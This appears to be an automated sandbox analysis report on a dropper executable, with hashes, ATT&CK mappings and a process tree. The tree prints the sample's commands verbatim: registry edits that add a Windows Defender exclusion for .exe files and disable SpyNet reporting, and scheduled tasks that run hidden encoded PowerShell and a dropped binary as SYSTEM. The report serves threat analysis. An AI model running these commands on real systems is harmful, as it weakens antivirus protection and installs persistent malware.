eb00ed9a3114cd089951b8eee0074c32f9e755428ac7d24aa093b9194465bf46

General

Target

file.exe
Size

7.3MB
MD5

2d3ad18f288af345af2fb0c319b3b3f5
SHA1

1e9d7ccc74e26b99403e494eafd4a0a8dae516fd
SHA256

eb00ed9a3114cd089951b8eee0074c32f9e755428ac7d24aa093b9194465bf46
SHA512

1155c2bc81462c0b67bae8bc95369240411a217168445db662cb445cb7a9bd30d86f7bf0ecf040f7729f98cd41fbcb65c761c12cbbe5c54e2abbdbf6e6a838fe
SSDEEP

196608:91OKn156tz5ZmHtScKM0vwTcE2X2q2CsthMfnq:3OQkl4+vwwEtftLB

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

Processes:

Install.exeInstall.exe

pid process

1092 Install.exe
3268 Install.exe
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Install.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe

pid	process
1092	Install.exe
3268	Install.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4060001867-1434967833-2212371794-1000\Control Panel\International\Geo\Nation	Install.exe

Drops file in System32 directory 1 IoCs

Processes:

Install.exe

description ioc process

File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe
Drops file in Windows directory 1 IoCs

Processes:

schtasks.exe

description ioc process

File created C:\Windows\Tasks\bgXzKyzKqQlJYhwcUn.job schtasks.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1168 schtasks.exe
4720 schtasks.exe

description	ioc	process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

description	ioc	process
File created	C:\Windows\Tasks\bgXzKyzKqQlJYhwcUn.job	schtasks.exe

pid	process
1168	schtasks.exe
4720	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.EXE

pid process

4080 powershell.EXE
4080 powershell.EXE
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.EXE

description pid process

Token: SeDebugPrivilege 4080 powershell.EXE

pid	process
4080	powershell.EXE
4080	powershell.EXE

description	pid	process
Token: SeDebugPrivilege	4080	powershell.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exepowershell.EXE

description	pid	process	target process
PID 3280 wrote to memory of 1092	3280	file.exe	Install.exe
PID 3280 wrote to memory of 1092	3280	file.exe	Install.exe
PID 3280 wrote to memory of 1092	3280	file.exe	Install.exe
PID 1092 wrote to memory of 3268	1092	Install.exe	Install.exe
PID 1092 wrote to memory of 3268	1092	Install.exe	Install.exe
PID 1092 wrote to memory of 3268	1092	Install.exe	Install.exe
PID 3268 wrote to memory of 3796	3268	Install.exe	forfiles.exe
PID 3268 wrote to memory of 3796	3268	Install.exe	forfiles.exe
PID 3268 wrote to memory of 3796	3268	Install.exe	forfiles.exe
PID 3268 wrote to memory of 3336	3268	Install.exe	forfiles.exe
PID 3268 wrote to memory of 3336	3268	Install.exe	forfiles.exe
PID 3268 wrote to memory of 3336	3268	Install.exe	forfiles.exe
PID 3336 wrote to memory of 3552	3336	forfiles.exe	cmd.exe
PID 3336 wrote to memory of 3552	3336	forfiles.exe	cmd.exe
PID 3336 wrote to memory of 3552	3336	forfiles.exe	cmd.exe
PID 3796 wrote to memory of 976	3796	forfiles.exe	cmd.exe
PID 3796 wrote to memory of 976	3796	forfiles.exe	cmd.exe
PID 3796 wrote to memory of 976	3796	forfiles.exe	cmd.exe
PID 3552 wrote to memory of 5016	3552	cmd.exe	reg.exe
PID 3552 wrote to memory of 5016	3552	cmd.exe	reg.exe
PID 3552 wrote to memory of 5016	3552	cmd.exe	reg.exe
PID 976 wrote to memory of 4940	976	cmd.exe	reg.exe
PID 976 wrote to memory of 4940	976	cmd.exe	reg.exe
PID 976 wrote to memory of 4940	976	cmd.exe	reg.exe
PID 3552 wrote to memory of 1160	3552	cmd.exe	reg.exe
PID 3552 wrote to memory of 1160	3552	cmd.exe	reg.exe
PID 3552 wrote to memory of 1160	3552	cmd.exe	reg.exe
PID 976 wrote to memory of 2280	976	cmd.exe	reg.exe
PID 976 wrote to memory of 2280	976	cmd.exe	reg.exe
PID 976 wrote to memory of 2280	976	cmd.exe	reg.exe
PID 3268 wrote to memory of 1168	3268	Install.exe	schtasks.exe
PID 3268 wrote to memory of 1168	3268	Install.exe	schtasks.exe
PID 3268 wrote to memory of 1168	3268	Install.exe	schtasks.exe
PID 3268 wrote to memory of 4860	3268	Install.exe	schtasks.exe
PID 3268 wrote to memory of 4860	3268	Install.exe	schtasks.exe
PID 3268 wrote to memory of 4860	3268	Install.exe	schtasks.exe
PID 4080 wrote to memory of 2560	4080	powershell.EXE	gpupdate.exe
PID 4080 wrote to memory of 2560	4080	powershell.EXE	gpupdate.exe
PID 3268 wrote to memory of 4256	3268	Install.exe	schtasks.exe
PID 3268 wrote to memory of 4256	3268	Install.exe	schtasks.exe
PID 3268 wrote to memory of 4256	3268	Install.exe	schtasks.exe
PID 3268 wrote to memory of 4720	3268	Install.exe	schtasks.exe
PID 3268 wrote to memory of 4720	3268	Install.exe	schtasks.exe
PID 3268 wrote to memory of 4720	3268	Install.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3280

C:\Users\Admin\AppData\Local\Temp\7zS6E4F.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1092

C:\Users\Admin\AppData\Local\Temp\7zSFB0E.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:3268

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:3796

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:976

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:4940

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:2280

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:3336

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:3552

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:5016

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:1160

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gpvhVRKuK" /SC once /ST 05:26:04 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:1168

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gpvhVRKuK"
4⤵
PID:4860

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gpvhVRKuK"
4⤵
PID:4256

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bgXzKyzKqQlJYhwcUn" /SC once /ST 22:08:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ATaWoTwmuQXaDzxNA\BXblJsnkYCqsjju\uepciCd.exe\" P7 /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4720

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4080

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:2160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:1248

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:376

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\7zS6E4F.tmp\Install.exe

Filesize
6.3MB

MD5
f765fe315ff7e418de1d30e29b3676a0

SHA1
3ec14d798571b5b491e8789e9a8533bbe2181722

SHA256
5aba13c3e75170dcb1e42488a66c0d0d97ebf1e229f1e5c607cc629c82ba0e91

SHA512
3d0f3f5635605455ae43b6e294b4191a6b2e822e6597d53da76eb25e5b05a4ef7d64685706cfee171c3b7446ac5a487a0a98fd64d1e4f5917df93f79200c93b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS6E4F.tmp\Install.exe

Filesize
6.3MB

MD5
f765fe315ff7e418de1d30e29b3676a0

SHA1
3ec14d798571b5b491e8789e9a8533bbe2181722

SHA256
5aba13c3e75170dcb1e42488a66c0d0d97ebf1e229f1e5c607cc629c82ba0e91

SHA512
3d0f3f5635605455ae43b6e294b4191a6b2e822e6597d53da76eb25e5b05a4ef7d64685706cfee171c3b7446ac5a487a0a98fd64d1e4f5917df93f79200c93b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSFB0E.tmp\Install.exe

Filesize
6.8MB

MD5
9a9175dcd59ac6395582793f28a48aca

SHA1
0683dc4f5ce17435bc0430b32ce1c2931d0a37bb

SHA256
1b80c69504b97f7af75e7bf9c382653c83d8bb428c0f216d733b594750132c70

SHA512
6d21f4be9adc54111ed3abe16305b4fae36cbc5b5157a3e92920e3d250a44ccb0af78b20d33169e67e574d37881a483a927c31cc47ee5bb744d28db05f275bd2

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSFB0E.tmp\Install.exe

Filesize
6.8MB

MD5
9a9175dcd59ac6395582793f28a48aca

SHA1
0683dc4f5ce17435bc0430b32ce1c2931d0a37bb

SHA256
1b80c69504b97f7af75e7bf9c382653c83d8bb428c0f216d733b594750132c70

SHA512
6d21f4be9adc54111ed3abe16305b4fae36cbc5b5157a3e92920e3d250a44ccb0af78b20d33169e67e574d37881a483a927c31cc47ee5bb744d28db05f275bd2

Download Submit
memory/976-144-0x0000000000000000-mapping.dmp

Download
memory/1092-132-0x0000000000000000-mapping.dmp

Download
memory/1160-147-0x0000000000000000-mapping.dmp

Download
memory/1168-149-0x0000000000000000-mapping.dmp

Download
memory/2280-148-0x0000000000000000-mapping.dmp

Download
memory/2560-152-0x0000000000000000-mapping.dmp

Download
memory/3268-138-0x0000000010000000-0x0000000011C99000-memory.dmp

Filesize
28.6MB

Download
memory/3268-135-0x0000000000000000-mapping.dmp

Download
memory/3336-142-0x0000000000000000-mapping.dmp

Download
memory/3552-143-0x0000000000000000-mapping.dmp

Download
memory/3796-141-0x0000000000000000-mapping.dmp

Download
memory/4080-151-0x00000249D5190000-0x00000249D51B2000-memory.dmp

Filesize
136KB

Download
memory/4080-153-0x00007FFDCAB50000-0x00007FFDCB611000-memory.dmp

Filesize
10.8MB

Download
memory/4080-154-0x00007FFDCAB50000-0x00007FFDCB611000-memory.dmp

Filesize
10.8MB

Download
memory/4256-155-0x0000000000000000-mapping.dmp

Download
memory/4720-156-0x0000000000000000-mapping.dmp

Download
memory/4860-150-0x0000000000000000-mapping.dmp

Download
memory/4940-146-0x0000000000000000-mapping.dmp

Download
memory/5016-145-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads